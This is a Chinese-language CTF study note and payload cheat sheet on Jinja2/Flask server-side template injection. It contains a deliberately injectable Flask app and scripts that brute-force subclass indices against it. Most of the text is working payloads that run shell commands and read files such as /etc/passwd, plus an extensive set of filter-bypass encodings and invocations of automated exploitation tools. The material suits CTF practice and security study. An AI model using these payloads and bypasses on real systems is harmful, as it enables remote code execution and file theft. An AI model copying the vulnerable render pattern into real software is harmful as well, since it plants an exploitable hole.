SSTI
主要参考了Lazzaro佬的文章,会不定期更新。
太多哩,晕倒。
SSTI (Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。目前CTF常见的SSTI题中,环境多为python。
默认有python基础,可以先看看我之前写的flask库笔记。
文章目录
1. python命令执行
os
(用于访问操作系统。通用操作:1.系统操作,2.目录操作,3.判断操作)
commands
(仅限2.x)
subprocess
(模块用于管理子进程。可以调用外部命令作为子进程,还可以生成新的进程,连接到它们的input/output/error管道,同时获取它们的返回码)
timeit:
timeit.sys
,timeit.timeit("__import__('os').system('whoami')",mode='r',bufsize=-1).read()
(时间模块,用于准确测量代码执行时间。该模块定义了三个实用函数和一个公共类。)
platform:
platform.os
,platform.sys
,platform.popen('whoami',mode='r',bufsize=-1).read()
(该模块用于获取操作系统的相关信息。)
pty:
pty.spawn('ls')
,pty.os
(该模块定义了处理伪终端的操作:启动另一个进程并能够以编程的方式写入和读取其控制终端。)
bdb:
bdb.os
,cgi.sys
(标准调试器框架,提供了调试Python程序所需的基本接口和类。)
cgi:
cgi.os
,cgi.sys
提供了用于处理CGI(Common Gateway Interface)脚本的工具
2. 基本操作
函数名.__globals__
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的模块、方法以及所有变量。查看所有键名:__globals__.keys()。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.get('x1') get请求参数x1
request.values 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.get('x1') post请求参数 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
cycler {{cycler.__init__.__globals__.os.popen('id').read()}}#id是linux指令
joiner {{joiner.__init__.__globals__.os.popen('id').read()}}
namespace {{namespace.__init__.__globals__.os.popen('id').read()}}
过滤器
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length():返回字符串的长度,别名是count。
测试器
{% if m is defined %}
{{m}}
{% else %}
999
{% endif %}
{% for i in range(10) %}
{{i}}
{% endfor %}
from flask import Flask,url_for,request,render_template,make_response,redirect,jsonify,json,render_template_string
app = Flask(__name__) # 用本脚本名实例化Flask对象
@app.route('/',methods=['GET','POST'])#url配置
def index():#视图函数
template="""
<!DOCTYPE html>
<html>
<head><meta charset='UTF-8'></head>
<body>
<h3>what can i say,%s</h3>
</body>
</html>
"""%(request.args.get('code'))
return render_template_string(template,title='SSTI test')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9901, debug=1)
import requests
import base64
for i in range(500):
code='{{"".__class__.__mro__[1].__subclasses__()['+str(i)+']}}'
res=requests.get(url='http://127.0.0.1:9901/?code='+code)
if 'os._wrap' in res.text:
print(i)
#class获取当前类,mro获取基类,subclasses()获取子类,init初始化类,globals获取函数的方法,模块与变量
code = '{{"".__class__.__mro__[1].__subclasses__()[%d].__init__.__globals__["popen"]("dir").read()}}'%(i)
res = requests.get(url='http://127.0.0.1:9901/?code=' + code)
print(res.text)
3. 命令执行
环境python 3.10
1. 利用eval命令执行
获取基类
''.__class__.__mro__[1] #object类,版本不同可能键不同
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] #针对jinjia2/flask为[9]适用
找到子类中重载过__init__
的类,带wrapper
的说明没有重载
{{().__class__.__mro__[1].__subclasses__()[99].__init__}}
<slot wrapper '__init__' of 'object' objects>
{{().__class__.__mro__[1].__subclasses__()[188].__init__}}
<function Repr.__init__ at 0x000001A2A8C57760>
查看其引用__builtins__
:
builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。
{{().__class__.__mro__[1].__subclasses__()[188].__init__.__globals__["builtins"]}}
利用eval进行命令执行
{{%27%27.__class__.__mro__[1].__subclasses__()[188].__init__.__globals__["__builtins__"]["eval"](%27__import__("os").popen("whoami").read()%27)}}
2. 利用linecache函数
linecache函数主要找system
模块和os
模块
找到linecache
import requests
import base64
import time
for i in range(500):
time.sleep(0.1)
code='{{"".__class__.__mro__[1].__subclasses__()['+str(i)+']}}'
res=requests.get(url='http://127.0.0.1:9901/?code='+code)
if 'wrapper' not in res.text:
#class获取当前类,mro获取基类,subclasses()获取子类,init初始化类,globals获取函数的方法,模块与变量
code = '{{"".__class__.__mro__[1].__subclasses__()[' + str(i) + '].__init__.__globals__.keys()}}'
res = requests.get(url='http://127.0.0.1:9901/?code=' + code)
if 'linecache' in res.text:
print(i)#
"""
284 <class 'traceback.FrameSummary'>
285 <class 'traceback.TracebackException'>
345 <class 'inspect.BlockFinder'>
348 <class 'inspect.Parameter'>
349 <class 'inspect.BoundArguments'>
350 <class 'inspect.Signature'>
{{"".__class__.__mro__[1].__subclasses__()[285].__init__.__globals__['linecache']['os'].popen('dir').read()}} 有回显
{{"".__class__.__mro__[1].__subclasses__()[285].__init__.__globals__['linecache']['os']['system']('(dir)>>flag.txt')}} 相当于无回显,可以dns外带
"""
3. 仅限python2
利用commands
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
利用file对象读取文件
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
4. 利用subprocess.Popen
手写脚本找到subprocess.Popen
的位置
import time
import requests
for i in range(500):
time.sleep(0.1)
url="http://127.0.0.1:9901/?code={{\"\".__class__.__mro__[1].__subclasses__()[%d]}}"%(i)
print(url)
res=requests.get(url)
if "subprocess.Popen" in res.text:
print(i)#420
break
?code={{"".__class__.__mro__[1].__subclasses__()[420]('dir',shell=True,stdout=-1).communicate()[0]}}
stdout=-1
:这是一个参数,用于指定输出流的处理方式。在这里,-1 表示将输出流重定向到 subprocess.PIPE,以便在后续步骤中获取输出。.communicate()
:这是 Popen 对象的一个方法,用于与子进程进行通信。它会等待子进程执行完毕,并返回一个元组,其中包含子进程的标准输出和标准错误输出。
之后用GBK解码得到内容。
5. 利用importlib
类
找到_frozen_importlib_external.FileLoader
python3用这个读文件
{{''.__class__.__bases__[0].__subclasses__()[119]['get_data'](0,'./flag.txt')}}
6. 利用任意字符串或者特殊变量
{{sss.__init__.__globals__.__builtins__.open("./flag.txt").read()}}
{{config.__class__.__init__.__globals__['os'].popen('dir').read()}}
{{request.application.__globals__['__builtins__']['__import__']('os').popen('dir').read()}}
4. 常见绕过
- 中括号
[]
使用pop()
函数代替中括号来取出列表中的元素
{{config.__class__.__init__.__globals__.pop('os').popen('dir').read()}}
使用__getitem__
取列表元素
{{config.__class__.__init__.__globals__.__getitem__('os').popen('dir').read()}}
unicode字符:[]
,﹇﹈
- 引号
''
request.args
是flask中的一个属性,为返回请求的参数,这里把a,b,c当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
{{().__class__.__bases__.__getitem__(0).__subclasses__()[285].__init__.__globals__[request.args.a][request.args.b].popen(request.args.c).read()}}&a=linecache&c=dir&b=os
unicode字符:""
,''
- 点号
.
[]
绕过
{{''['__class__']['__base__']['__subclasses__']()[285]['__init__']['__globals__']['linecache']['os']['popen']('dir')['read']()}}
过滤器绕过
遇到object,有时候要用一下__getitem__
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(285)|attr('__init__')|attr('__globals__')|attr('__getitem__')('linecache')|attr('os')|attr('popen')('dir')|attr('read')()}}
__getitem__
绕过
''.eval
可以写成 ''|attr('__getitem__')('eval')
。
- 下划线
_
可以用dir(0)[0][0]
或者request.args.x1
或者request.values.x1
并使用post传参绕过
或者request.cookies.x1
把x1=__class__; x2=__base__;
等写在Cookie里传参
{{%27%27[request.args.class][request.args.mro][1][request.args.subclasses]()}}&class=__class__&mro=__mro__&subclasses=__subclasses__
- 双花括号
{%if [expression]==[value]%} yes {%endif%}
{%print()%}
unicode字符:︷︷︸︸
- 圆括号
unicode字符:⁽⁾
,₍₎
对函数执行方式重载,如 request.__class__.__getitem__=__builtins__.exec;
,执行request[payload]
时相当于 exec(payload)
。
lambda表达式。
- 数字
unicode字符:𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗
,𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡
,0123456789
- 对象层面
有点懵逼
set {}=None
其他引用:
{{% set config=None %}} => {{url_for.__globals__.current_app.config}}
{{% set __builtins__=None %}} => {{[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__}}
del
重载:
reload(__builtins__)
其他
获得对应函数的上下文常量:
func.__code__.co_consts
base 64
__getattribute__
使用实例访问属性时,调用该方法。
例如被过滤掉__class__
关键词:
python3.10运行不了,各位自行尝试
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
字符串拼接
yyy.__init__.__globals__.__builtins__|attr('__getit''em__')('ev''al')('__imp''ort__("o''s").po''pen("ls /").re''ad()')
[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()
[].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["op"+"en"]("/fl"+"ag").read()
{%print config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('ls')|attr('%c%c%c%c'|format(114,101,97,100))()%}
{%print(((lipsum[(session|string)[35:46]])[(session|string)[53:55]])[(session|string)[73:78]]((session|string)[85:139]))%}
反转
{{cycler['__tini__'[::-1]]['__slabolg__'[::-1]].os.popen('id').read()}}
用{{"str1".__add__("str2")}}
的方式
16进制
.__class__ => ["\x5f\x5fc\x6cass\x5f\x5f"]
8进制
.__class__ => ["\137\137\143\154\141\163\163\137\137"]
.__base__ => ["\137\137\142\141\163\145\137\137"]
.__subclasses__ => ["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]
.__init__ => ["\137\137\151\156\151\164\137\137"]
.__globals__ => ["\137\137\147\154\157\142\141\154\163\137\137"]
.__builtins__ => ["\137\137\142\165\151\154\164\151\156\163\137\137"]
.__import__ => ["\137\137\151\155\160\157\162\164\137\137"]
.popen => ["\160\157\160\145\156"]
.read => ["\162\145\141\144"]
unicode编码
.__class__ => ["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]
unicode字符/Non-ASCII Identifies
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳
𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡𝕒𝕓𝕔𝕕𝕖𝕗𝕘𝕙𝕚𝕛𝕜𝕝𝕞𝕟𝕠𝕡𝕢𝕣𝕤𝕥𝕦𝕧𝕨𝕩𝕪𝕫
0123456789
参考:https://www.compart.com/en/unicode/U+0030
学不动了,先这样
自动化工具
Fenjing
https://github.com/Marven11/Fenjing
python -m fenjing crack --method GET --inputs name --url 'http://xxx/'
tplmap
https://github.com/epinna/tplmap
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'